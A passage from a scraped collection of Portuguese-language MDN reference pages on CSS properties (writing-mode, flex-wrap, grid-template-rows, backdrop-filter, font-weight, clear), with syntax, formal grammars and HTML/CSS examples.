-webkit-writing-mode: sideways-lr;\n  -ms-writing-mode: sideways-lr;\n}\n\n.example.Text5 span,\n.example.Text5 {\n  writing-mode: sideways-rl;\n  -webkit-writing-mode: sideways-rl;\n  -ms-writing-mode: sideways-rl;\n}\n```\n\n### Resultado atual\n\nEssa é uma imagem mostrando o que o resultado deve parecer, no caso do suporte do seu navegador para `writing-mode` estiver incompleto.\n\n![](/pt-BR/docs/Web/CSS/writing-mode/writing-mode-actual-result.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Writing Modes Level 4 # block-flow |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* SVG `writing-mode` (en-US) attribute\n* `direction` (en-US)\n* `unicode-bidi` (en-US)\n* `text-orientation` (en-US)\n* `text-combine-upright` (en-US)"}
{"title":"flex-wrap - CSS","text":"flex-wrap\n=========\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade CSS **`flex-wrap`** define se os itens flexíveis são forçados a ficarem na mesma linha ou se podem ser quebradas em varias linhas. Se o argumento for valido, ele define a direção em que as linhas são empilhadas.\n\nExperimente\n-----------\n\nVeja Using CSS flexible boxes para mais propriedades e informação.\n\nSyntax\n------\n\n\n```css\nflex-wrap: nowrap; /\\* Default value \\*/\nflex-wrap: wrap;\nflex-wrap: wrap-reverse;\n\n/\\* Global values \\*/\nflex-wrap: inherit;\nflex-wrap: initial;\nflex-wrap: unset;\n```\n\n\nA propriedade `flex-wrap` é especificada como uma unica palavra-chave escolhida na lista de valores abaixo.\n\n### Valores\n\nOs seguintes valores são aceitos :\n\n`nowrap`\n\nOs itens flexíveis são agrupados em uma unica linha, o que pode fazer com que o flex container transborde. O **cross-start** é equivalente ao **início** ou **antes**, dependendo do valor da `flex-direction`. Este é o valor padrão.\n\n`wrap`\n\nOs itens flexíveis são quebrados em multiplas linhas. O **cross-start** é equivalente a iniciar ou antes dependendo do valor do `flex-direction` e **cross-end** é o oposto do especificado **cross-start**.\n\n`wrap-reverse`\n\nSe comporta da mesma maneira que o `wrap` mas a de linha ocorre na direção contrária, ou seja, para a linha acima.\n\nFormal definição\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `nowrap` |\n| Aplica-se a | flex containers |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nFormal syntax\n-------------\n```\n\nflex-wrap =   \n  nowrap        | (en-US)  \n  wrap          | (en-US)  \n  wrap-reverse    \n  \n```\n\nExemplos\n--------\n\n### Definindo valores em um flex container wrap\n\n#### HTML\n\n\n```html\n<h4>This is an example for flex-wrap:wrap</h4>\n<div class=\"content\">\n  <div class=\"red\">1</div>\n  <div class=\"green\">2</div>\n  <div class=\"blue\">3</div>\n</div>\n<h4>This is an example for flex-wrap:nowrap</h4>\n<div class=\"content1\">\n  <div class=\"red\">1</div>\n  <div class=\"green\">2</div>\n  <div class=\"blue\">3</div>\n</div>\n<h4>This is an example for flex-wrap:wrap-reverse</h4>\n<div class=\"content2\">\n  <div class=\"red\">1</div>\n  <div class=\"green\">2</div>\n  <div class=\"blue\">3</div>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n/\\* Common Styles \\*/\n.content,\n.content1,\n.content2 {\n  color: #fff;\n  font: 100 24px/100px sans-serif;\n  height: 150px;\n  text-align: center;\n}\n\n.content div,\n.content1 div,\n.content2 div {\n  height: 50%;\n  width: 300px;\n}\n.red {\n  background: orangered;\n}\n.green {\n  background: yellowgreen;\n}\n.blue {\n  background: steelblue;\n}\n\n/\\* Flexbox Styles \\*/\n.content {\n  display: flex;\n  flex-wrap: wrap;\n}\n.content1 {\n  display: flex;\n  flex-wrap: nowrap;\n}\n.content2 {\n  display: flex;\n  flex-wrap: wrap-reverse;\n}\n```\n\n\n#### Resultados\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Flexible Box Layout Module Level 1 # flex-wrap-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Guia CSS Flexbox: *Basic Concepts of Flexbox*\n* Guia CSS Flexbox: *Mastering wrapping of flex items (en-US)*"}
{"title":"CSS Images - CSS","text":"CSS Images\n==========\n\n**CSS Images** is a module of CSS that defines what types of images can be used (the `<image>` type, containing URLs, gradients and other types of images), how to resize them and how they, and other replaced content, interact with the different layout models.\n\nReference\n---------\n\n### Properties\n\n* `image-orientation` (en-US)\n* `image-rendering` (en-US)\n* `object-fit`\n* `object-position` (en-US)\n### Functions\n\n* `linear-gradient()` (en-US)\n* `radial-gradient()` (en-US)\n* `repeating-linear-gradient()` (en-US)\n* `repeating-radial-gradient()` (en-US)\n* `element()`\n### Data types\n\n* `<gradient>` (en-US)\n* `<image>`\nGuides\n------\n\nUsing CSS gradients (en-US)\n\nPresents a specific type of CSS images, *gradients*, and how to create and use these.\n\nImplementing image sprites in CSS\n\nDescribes the common technique grouping several images in one single document to save download requests and speed up the availability of a page.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Images Module Level 3  |\n| Compatibility Standard # css-%3Cimage%3E-type |\n| CSS Values and Units Module Level 4 # urls |"}
{"title":"grid-template-rows - CSS","text":"grid-template-rows\n==================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade **`grid-template-rows`** do CSS define o nome das linhas e funções de dimensionamento (track sizing) do grid rows (en-US).\n\nExperimente\n-----------\n\nSyntax\n------\n\n\n```css\n/\\* Keyword value \\*/\ngrid-template-rows: none;\n\n/\\* <track-list> values \\*/\ngrid-template-rows: 100px 1fr;\ngrid-template-rows: [linename] 100px;\ngrid-template-rows: [linename1] 100px [linename2 linename3];\ngrid-template-rows: minmax(100px, 1fr);\ngrid-template-rows: fit-content(40%);\ngrid-template-rows: repeat(3, 200px);\n\n/\\* <auto-track-list> values \\*/\ngrid-template-rows: 200px repeat(auto-fill, 100px) 300px;\ngrid-template-rows:\n  minmax(100px, max-content)\n  repeat(auto-fill, 200px) 20%;\ngrid-template-rows:\n  [linename1] 100px [linename2]\n  repeat(auto-fit, [linename3 linename4] 300px)\n  100px;\ngrid-template-rows:\n  [linename1 linename2] 100px\n  repeat(auto-fit, [linename1] 300px) [linename3];\n\n/\\* Valores globais \\*/\ngrid-template-rows: inherit;\ngrid-template-rows: initial;\ngrid-template-rows: unset;\n```\n\n\nEsta propriedade pode ser especificada como:\n\n* com a palavra-chave `none`\n* ou um valor `<track-list>`\n* ou um valor `<auto-track-list>`\n### Valores\n\n`none`\n\nÉ uma palavra-chave que indica que não há uma grid explícita. Qualquer linha irá ser implicitamente gerada e seu tamanho será determinado pela a propriedade `grid-auto-rows` (en-US) .\n\n`<length>` (en-US)\n\nÉ um comprimento não negativo.\n\n`<percentagem>` (en-US)\n\n É um valor de `<percentagem>` (en-US) não negativo, relativo ao tamanho do bloco do grid contêiner. Se o tamanho do grid contêiner depender do tamanho de suas tracks, então a percentagem deve ser tratada como `auto`.\n As contribuições de tamanho inerentes da track podem ser ajustados ao tamanho do grid contêiner, e aumentar o tamanho final da track pelo o valor mínimo que respeitará a percentagem.\n\n\n`<flex>` (en-US)\n\nIs a non-negative dimension with the unit `fr` specifying the track's flex factor. Each `<flex>`-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a `minmax()` notation, it implies an automatic minimum (i.e. `minmax(auto, <flex>)`).\n\n`max-content`\n\nIs a keyword representing the largest maximal content contribution of the grid items occupying the grid track.\n\n`min-content`\n\nIs a keyword representing the largest minimal content contribution of the grid items occupying the grid track.\n\n`minmax(min, max)` (en-US)\n\nIs a functional notation that defines a size range, greater than or equal to *min*, and less than or equal to *max*. If *max* is smaller than *min*, then *max* is ignored and the function is treated as *min*. As a maximum, a `<flex>` value sets the track's flex factor. It is invalid as a minimum.\n\n`auto`\n\nIs a keyword that is identical to maximal content if it's a maximum. As a minimum it represents the largest minimum size (as specified by `min-width` (en-US)/`min-height`) of the grid items occupying the grid track.\n\n**Nota:**: `auto` track sizes (and only `auto` track sizes) can be stretched by the `align-content` and `justify-content` (en-US) properties.\n\n`fit-content( [ <length> | <percentage> ] )` (en-US)\n\nRepresents the formula `min(max-content, max(auto, argument))`, which is calculated similar to `auto` (i.e. `minmax(auto, max-content)`), except that the track size is clamped at *argument* if it is greater than the `auto` minimum.\n\n`repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )` (en-US)\n\nRepresents a repeated fragment of the track list, allowing a large number of rows that exhibit a recurring pattern to be written in a more compact form.\n\n### Formal syntax\n```\n\ngrid-template-rows =   \n  none                       | (en-US)  \n  <track-list>               | (en-US)  \n  <auto-track-list>          | (en-US)  \n  subgrid <line-name-list>? (en-US)    \n  \n<track-list> =   \n  [ (en-US) <line-names>? (en-US) [ (en-US) <track-size> | (en-US) <track-repeat> ] (en-US) ] (en-US)+ (en-US) <line-names>? (en-US)    \n  \n<auto-track-list> =   \n  [ (en-US) <line-names>? (en-US) [ (en-US) <fixed-size> | (en-US) <fixed-repeat> ] (en-US) ] (en-US)\\* (en-US) <line-names>? (en-US) <auto-repeat> [ (en-US) <line-names>? (en-US) [ (en-US) <fixed-size> | (en-US) <fixed-repeat> ] (en-US) ] (en-US)\\* (en-US) <line-names>? (en-US)    \n  \n<line-name-list> =   \n  [ (en-US) <line-names> | (en-US) <name-repeat> ] (en-US)+ (en-US)    \n  \n<line-names> =   \n  '[' <custom-ident> (en-US)\\* (en-US) ']'    \n  \n<track-size> =   \n  <track-breadth>                                   | (en-US)  \n  minmax( <inflexible-breadth> , <track-breadth> )  | (en-US)  \n  fit-content( <length-percentage [0,∞]> )            \n  \n<track-repeat> =   \n  repeat( [ (en-US) <integer [1,∞]> ] (en-US) , [ (en-US) <line-names>? (en-US) <track-size> ] (en-US)+ (en-US) <line-names>? (en-US) )    \n  \n<fixed-size> =   \n  <fixed-breadth>                                   | (en-US)  \n  minmax( <fixed-breadth> , <track-breadth> )       | (en-US)  \n  minmax( <inflexible-breadth> , <fixed-breadth> )    \n  \n<fixed-repeat> =   \n  repeat( [ (en-US) <integer [1,∞]> ] (en-US) , [ (en-US) <line-names>? (en-US) <fixed-size> ] (en-US)+ (en-US) <line-names>? (en-US) )    \n  \n<auto-repeat> =   \n  repeat( [ (en-US) auto-fill | (en-US) auto-fit ] (en-US) , [ (en-US) <line-names>? (en-US) <fixed-size> ] (en-US)+ (en-US) <line-names>? (en-US) )    \n  \n<name-repeat> =   \n  repeat( [ (en-US) <integer [1,∞]> | (en-US) auto-fill ] (en-US) , <line-names>+ (en-US) )    \n  \n<track-breadth> =   \n  <length-percentage [0,∞]>  | (en-US)  \n  <flex [0,∞]>               | (en-US)  \n  min-content                | (en-US)  \n  max-content                | (en-US)  \n  auto                         \n  \n<inflexible-breadth> =   \n  <length-percentage [0,∞]>  | (en-US)  \n  min-content                | (en-US)  \n  max-content                | (en-US)  \n  auto                         \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n<fixed-breadth> =   \n  <length-percentage [0,∞]>    \n  \n```\n\nExamples\n--------\n\n### CSS\n\n\n```css\n#grid {\n  display: grid;\n  height: 100px;\n  grid-template-rows: 30px 1fr;\n}\n\n#areaA {\n  background-color: lime;\n}\n\n#areaB {\n  background-color: yellow;\n}\n```\n\n### HTML\n\n\n```html\n<div id=\"grid\">\n  <div id=\"areaA\">A</div>\n  <div id=\"areaB\">B</div>\n</div>\n```\n\n### Result\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Grid Layout Module Level 2 # track-sizing |\n| CSS Grid Layout Module Level 2 # subgrids |\n| CSS Grid Layout Module Level 3 # masonry-layout |\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | grid containers |\n| Inherited | não |\n| Percentages | refer to corresponding dimension of the content area |\n| Computed value | as specified, but with relative lengths converted into absolute lengths |\n| Animation type | simple list of length, percentage, or calc, provided the only differences are in the values of the length, percentage, or calc components in the list |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Related CSS properties: `grid-template-columns`, `grid-template-areas` (en-US), `grid-template` (en-US)\n* Grid Layout Guide: *Basic concepts of grid layout - Grid Tracks*\n* Video tutorial: *Defining a Grid*\n\n1. **CSS**\n2. **CSS Reference**\n3. CSS Grid Layout\n4. **Guides**\n    1. Basics concepts of grid layout\n    2. Relationship to other layout methods\n    3. Line-based placement (en-US)\n    4. Grid template areas (en-US)\n    5. Layout using named grid lines (en-US)\n    6. Auto-placement in grid layout (en-US)\n    7. Box alignment in grid layout (en-US)\n    8. Grids, logical values and writing modes (en-US)\n    9. CSS Grid Layout and Accessibility (en-US)\n    10. CSS Grid Layout and Progressive Enhancement (en-US)\n    11. Realizing common layouts using grids (en-US)\n5. **Properties**\n    1. grid\n    2. grid-area (en-US)\n    3. grid-auto-columns (en-US)\n    4. grid-auto-flow\n    5. grid-auto-rows (en-US)\n    6. grid-column (en-US)\n    7. grid-column-end (en-US)\n    8. grid-column-gap (en-US)\n    9. grid-column-start (en-US)\n    10. grid-gap (en-US)\n    11. grid-row (en-US)\n    12. grid-row-end (en-US)\n    13. grid-row-gap (en-US)\n    14. grid-row-start (en-US)\n    15. grid-template (en-US)\n    16. grid-template-areas (en-US)\n    17. grid-template-columns\n    18. grid-template-rows\n6. **Glossary**\n    1. Grid lines (en-US)\n    2. Grid tracks (en-US)\n    3. Grid cell (en-US)\n    4. Grid areas\n    5. Gutters (en-US)\n    6. Grid row (en-US)\n    7. Grid column (en-US)"}
{"title":"backdrop-filter - CSS","text":"backdrop-filter\n===============\n\nA propriedade CSS **`backdrop-filter`** permite que você aplique efeitos gráficos, como desfoque ou mudança de cores, na área ao fundo de um elemento. Como ela se aplica a tudo que fica *atrás* do elemento, é preciso deixá-lo (ou o seu plando de fundo) ao menos parcialmente transparente para poder ver o efeito em ação.\n\n\n```css\n/\\* Valor de palavra-chave \\*/\nbackdrop-filter: none;\n\n/\\* Filtro com URL para SVG \\*/\nbackdrop-filter: url(commonfilters.svg#filter);\n\n/\\* Valores <filter-function> \\*/\nbackdrop-filter: blur(2px);\nbackdrop-filter: brightness(60%);\nbackdrop-filter: contrast(40%);\nbackdrop-filter: drop-shadow(4px 4px 10px blue);\nbackdrop-filter: grayscale(30%);\nbackdrop-filter: hue-rotate(120deg);\nbackdrop-filter: invert(70%);\nbackdrop-filter: opacity(20%);\nbackdrop-filter: sepia(90%);\nbackdrop-filter: saturate(80%);\n\n/\\* Vários filtros \\*/\nbackdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);\n\n/\\* Valores globais \\*/\nbackdrop-filter: inherit;\nbackdrop-filter: initial;\nbackdrop-filter: unset;\n```\n\nSintaxe\n-------\n\n### Valores\n\n`none`\n\nNenhum filtro é aplicado ao plano de fundo.\n\n`<filter-function-list>`\n\nUma lista de `<filter-function>` (en-US)s separadas por espaços ou um filtro SVG que será aplicado ao plano de fundo.\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements; In SVG, it applies to container elements excluding the `defs` element and all graphics elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | a filter function list |\n\n### Sintaxe formal\n```\n\nbackdrop-filter =   \n  none                 | (en-US)  \n  <filter-value-list>    \n  \n<filter-value-list> =   \n  [ (en-US) <filter-function> | (en-US) <url> ] (en-US)+ (en-US)    \n  \n<filter-function> =   \n  <blur()>         | (en-US)  \n  <brightness()>   | (en-US)  \n  <contrast()>     | (en-US)  \n  <drop-shadow()>  | (en-US)  \n  <grayscale()>    | (en-US)  \n  <hue-rotate()>   | (en-US)  \n  <invert()>       | (en-US)  \n  <opacity()>      | (en-US)  \n  <sepia()>        | (en-US)  \n  <saturate()>       \n  \n<url> =   \n  <url()>  | (en-US)  \n  <src()>    \n  \n<blur()> =   \n  blur( <length> (en-US)? (en-US) )    \n  \n<brightness()> =   \n  brightness( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<contrast()> =   \n  contrast( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<drop-shadow()> =   \n  drop-shadow( [ (en-US) <color>? (en-US) && (en-US) <length> (en-US){2,3} (en-US) ] (en-US) )    \n  \n<grayscale()> =   \n  grayscale( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<hue-rotate()> =   \n  hue-rotate( [ (en-US) <angle> (en-US) | (en-US) <zero> ] (en-US)? (en-US) )    \n  \n<invert()> =   \n  invert( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<opacity()> =   \n  opacity( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<sepia()> =   \n  sepia( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<saturate()> =   \n  saturate( [ (en-US) <number> | (en-US) <percentage> (en-US) ] (en-US)? (en-US) )    \n  \n<url()> =   \n  url( <string> (en-US) <url-modifier>\\* (en-US) )  | (en-US)  \n  <url-token>                        \n  \n<src()> =   \n  src( <string> (en-US) <url-modifier>\\* (en-US) )    \n  \n```\n\nExemplo\n-------\n\n### CSS\n\n\n```css\n.box {\n  background-color: rgba(255, 255, 255, 0.3);\n  border-radius: 5px;\n  font-family: sans-serif;\n  text-align: center;\n  line-height: 1;\n  -webkit-backdrop-filter: blur(10px);\n  backdrop-filter: blur(10px);\n  max-width: 50%;\n  max-height: 50%;\n  padding: 20px 40px;\n}\n\nhtml,\nbody {\n  height: 100%;\n  width: 100%;\n}\n\nbody {\n  background-image: url(https://picsum.photos/id/1080/6858/4574);\n  background-position: center center;\n  background-repeat: no-repeat;\n  background-size: cover;\n}\n\n.container {\n  align-items: center;\n  display: flex;\n  justify-content: center;\n  height: 100%;\n  width: 100%;\n}\n```\n\n### HTML\n\n\n```html\n<div class=\"container\">\n  <div class=\"box\">\n    <p>backdrop-filter: blur(10px)</p>\n  </div>\n</div>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Filter Effects Module Level 2 # BackdropFilterProperty |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `filter` (en-US)"}
{"title":"font-weight - CSS","text":"font-weight\n===========\n\nResumo\n------\n\nA propriedade CSS `font-weight` especifica o peso ou a intensidade da fonte (ex.: negrito). Algumas fontes oferecem apenas as opções `normal` e negrito.\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements and text. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | the keyword or the numerical value as specified, with `bolder` and `lighter` transformed to the real value |\n| Animation type | a font weight |\n\nSintaxe\n-------\n\n\n```css\nfont-weight: normal;\nfont-weight: bold;\n\n/\\* Relativo ao elemento pai \\*/\nfont-weight: lighter;\nfont-weight: bolder;\n\nfont-weight: 100;\nfont-weight: 200;\nfont-weight: 300;\nfont-weight: 400;\nfont-weight: 500;\nfont-weight: 600;\nfont-weight: 700;\nfont-weight: 800;\nfont-weight: 900;\n\n/\\* Valores globais \\*/\nfont-weight: inherit;\nfont-weight: initial;\nfont-weight: unset;\n```\n\n### Valores\n\n`normal`\n\nPeso normal. O mesmo que `400`.\n\n`bold`\n\nPeso negrito. O mesmo que `700`.\n\n`lighter`\n\nUm peso de fonte mais claro que o elemento pai (dentre os pesos disponíveis da fonte).\n\n`bolder`\n\nUm peso de fonte mais escuro que o elemento pai (dentre os pesos disponíveis da fonte).\n\n`100`, `200`, `300`, `400`, `500`, `600`, `700`, `800`, `900`\n\nPesos numéricos para fontes que oferecem mais que normal e negrito.\n\n### Contingência\n\nCaso o dado peso solicitado não esteja disponível, a seguinte heurística é usada para determinar o peso efetivo a ser usado:\n\n* Se solicitado um peso maior que `500`, usa-se o próximo peso mais escuro (ou, se não houver, usa-se o próximo mais claro).\n* Se solicitado um peso menor que `400`, usa-se o próximo peso mais claro (ou, se não houver, usa-se o próximo mais escuro).\n* Se solicitado o peso `400`, usa-se o peso `500`. Se `500` não estiver disponível, usa-se a heurística para peso menor do que 500.\n* Se solicitado o peso `500`, usa-se o peso `400`. Se `400` não estiver disponível, usa-se a heurística para peso menor do que 400.\n\nIsto significa que para fontes que oferecem apenas `normal` e negrito, `100`-`500` significa normal, e `600`-`900` significa negrito.\n\n### Significado de pesos relativos\n\nQuando for solicitado `lighter` ou `bolder`, a seguinte tabela é usada para calcular o peso absoluto do elemento:\n\n| Valor herdado | `bolder` | `lighter` |\n| --- | --- | --- |\n| 100 | 400 | 100 |\n| 200 | 400 | 100 |\n| 300 | 400 | 100 |\n| 400 | 700 | 100 |\n| 500 | 700 | 100 |\n| 600 | 900 | 400 |\n| 700 | 900 | 400 |\n| 800 | 900 | 700 |\n| 900 | 900 | 700 |\n\n### Mapeamento de nomes comuns de pesos\n\nOs valores de 100 a 900 correspondem grosseiramente aos seguintes nomes comuns de pesos:\n\n`100`\n\nThin (Hairline)\n\n`200`\n\nExtra Light (Ultra Light, Ultra Fino)\n\n`300`\n\nLight (Fino)\n\n`400`\n\nNormal\n\n`500`\n\nMedium (Médio)\n\n`600`\n\nSemi Bold (Demi Bold, Semi Negrito)\n\n`700`\n\nBold (Negrito)\n\n`800`\n\nExtra Bold (Ultra Bold, Super Negrito)\n\n`900`\n\nBlack (Heavy)\n\n### Interpolação\n\nUm valor de `font-weight` é interpolado com passos discretos (múltiplos de 100). A interpolação acontece no espaço de números reais e depois é feita uma conversão para números inteiros por arredondamento para o múltiplo de 100 mais próximo. Valores exatamente entre dois múltiplos de 100 são arredondados para mais.\n\n### Sintaxe formal\n```\n\nfont-weight =   \n  <font-weight-absolute>  | (en-US)  \n  bolder                  | (en-US)  \n  lighter                   \n  \n<font-weight-absolute> =   \n  normal             | (en-US)  \n  bold               | (en-US)  \n  <number [1,1000]>    \n  \n```\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<p>\n  Alice was beginning to get very tired of sitting by her sister on the bank,\n  and of having nothing to do: once or twice she had peeped into the book her\n  sister was reading, but it had no pictures or conversations in it, 'and what\n  is the use of a book,' thought Alice 'without pictures or conversations?'\n</p>\n\n<div>\n  I'm heavy<br />\n  <span>I'm lighter</span>\n</div>\n```\n\n### CSS\n\n\n```css\n/\\* Set paragraph text to be bold. \\*/\np {\n  font-weight: bold;\n}\n\n/\\* Set div text to two steps darker than\n normal but less than a standard bold. \\*/\ndiv {\n  font-weight: 600;\n}\n\n/\\* Sets text enclosed within span tag\n to be one step lighter than the parent. \\*/\nspan {\n  font-weight: lighter;\n}\n```\n\n### Result\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # font-weight-prop |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"clear - CSS","text":"clear\n=====\n\nA propriedade **`clear do`** CSS especifica se um elemento pode ter elementos flutuantes (en-US) ao seu lado ou se devem ser movidos para abaixo dele (clear). Essa propriedade se aplica à elementos flutuantes ou não flutuantes.\n\nExperimente\n-----------\n\nQuando essa propriedade é aplicada em elementos não flutuantes, ele move a borda (border edge) desse elemento para a borda da margem (margin edge) de todos os elementos flutuantes relevantes. Ocorre um colapso das margens verticais dos elementos não flutuantes.\n\nAs margens verticais entre dois elementos flutuantes não irão sofrer esse colapso. Quando aplicada a elementos flutuantes, a borda de margem (margin edge) do elemento inferior é movida abaixo da borda de margem (border edge) de todos os elementos flutuantes relevantes. Isso afeta a posição dos elementos flutuantes posteriores, sendo que os elementos flutuantes posteriores não podem ser posicionados acima dos anteriores.\n\nOs elementos flutuantes que devem ser limpos (clear) são os elementos anteriores dentro do mesmo contexto de bloco (block formatting context (en-US)).\n\n**Nota:** se um elemento possuir apenas elementos flutuantes, sua altura é zerada. Se você quiser que o mesmo seja redimensionado, de modo que contenha elementos flutuantes dentro dele, você precisa limpar(clear) seus filhos automaticamente. Isso é chamado clearfix, e uma maneira de fazê-lo é adicionando um `::after` pseudo-elemento com a propriedade `clear.`\n\n\n```css\n#container::after {\n  content: \"\";\n  display: block;\n  clear: both;\n}\n```\n\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores chaves \\*/\nclear: none;\nclear: left;\nclear: right;\nclear: both;\nclear: inline-start;\nclear: inline-end;\n\n/\\* Valores globais \\*/\nclear: inherit;\nclear: initial;\nclear: unset;\n```\n\n### Valores\n\n`none`\n\nÉ uma palavra-chave que indica que o elemento não foi movido para baixo para limpar os elementos flutuantes anteriores.\n\n`left`\n\nÉ uma palavra-chave que indica que o elemento foi movido para baixo para limpar os últimos flutuantes da esquerda.\n\n`right`\n\nÉ uma palavra-chave que indica que o elemento foi movido para baixo para liberar os últimos elementos flutuantes.\n\n`both`\n\nÉ uma palavra-chave que indica que o elemento será movido para baixo para limpar os elementos flutuantes do lado esquerdo e direito.\n\n`inline-start`\n\nÉ uma palavra-chave que indica que o elemento será movido para baixo para limpar os elementos flutuantes no lado inicial de seu bloco, ou seja, os da esquerda flutuam nos scripts de ltr e os da direita nos scripts de rtl.\n\n`inline-end`\n\nÉ uma palavra-chave que indica que o elemento será movido para baixo para limpar os flutuantes no final de seu bloco, os da direita nos scripts de ltr e os flutuantes da esquerda nos scripts de rtl.\n\n### Sintaxe\n```\n\nclear =   \n  inline-start  | (en-US)  \n  inline-end    | (en-US)  \n  block-start   | (en-US)  \n  block-end     | (en-US)  \n  left          | (en-US)  \n  right         | (en-US)  \n  top           | (en-US)  \n  bottom        | (en-US)  \n  both-inline   | (en-US)  \n  both-block    | (en-US)  \n  both          | (en-US)  \n  none            \n  \n```\n\nExemplos\n--------\n\n### clear: left\n\n#### HTML\n\n\n```html\n<div class=\"wrapper\">\n  <p class=\"black\">\n    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet\n    diam. Duis mattis varius dui. Suspendisse eget dolor.\n  </p>\n  <p class=\"red\">Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>\n  <p class=\"left\">This paragraph clears left.</p>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n.wrapper {\n  border: 1px solid black;\n  padding: 10px;\n}\n.left {\n  border: 1px solid black;\n  clear: left;\n}\n.black {\n  float: left;\n  margin: 0;\n  background-color: black;\n  color: #fff;\n  width: 20%;\n}\n.red {\n  float: left;\n  margin: 0;\n  background-color: pink;\n  width: 20%;\n}\np {\n  width: 50%;\n}\n```\n\n### clear: right\n\n#### HTML\n\n\n```html\n<div class=\"wrapper\">\n  <p class=\"black\">\n    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet\n    diam. Duis mattis varius dui. Suspendisse eget dolor.\n  </p>\n  <p class=\"red\">Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>\n  <p class=\"right\">This paragraph clears right.</p>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n.wrapper {\n  border: 1px solid black;\n  padding: 10px;\n}\n.right {\n  border: 1px solid black;\n  clear: right;\n}\n.black {\n  float: right;\n  margin: 0;\n  background-color: black;\n  color: #fff;\n  width: 20%;\n}\n.red {\n  float: right;\n  margin: 0;\n  background-color: pink;\n  width: 20%;\n}\np {\n  width: 50%;\n}\n```\n\n### clear: both\n\n#### HTML\n\n\n```html\n<div class=\"wrapper\">\n  <p class=\"black\">\n    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet\n    diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus\n    ac dui.\n  </p>\n  <p class=\"red\">\n    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet\n    diam. Duis mattis varius dui. Suspendisse eget dolor.\n  </p>\n  <p class=\"both\">This paragraph clears both.</p>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n.wrapper {\n  border: 1px solid black;\n  padding: 10px;\n}\n.both {\n  border: 1px solid black;\n  clear: both;\n}\n.black {\n  float: left;\n  margin: 0;\n  background-color: black;\n  color: #fff;\n  width: 20%;\n}\n.red {\n  float: right;\n  margin: 0;\n  background-color: pink;\n  width: 20%;\n}\np {\n  width: 45%;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # propdef-clear |\n| CSS Logical Properties and Values Level 1 # float-clear |\n\nCompatibilidade dos browsers\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Box model (en-US)"}
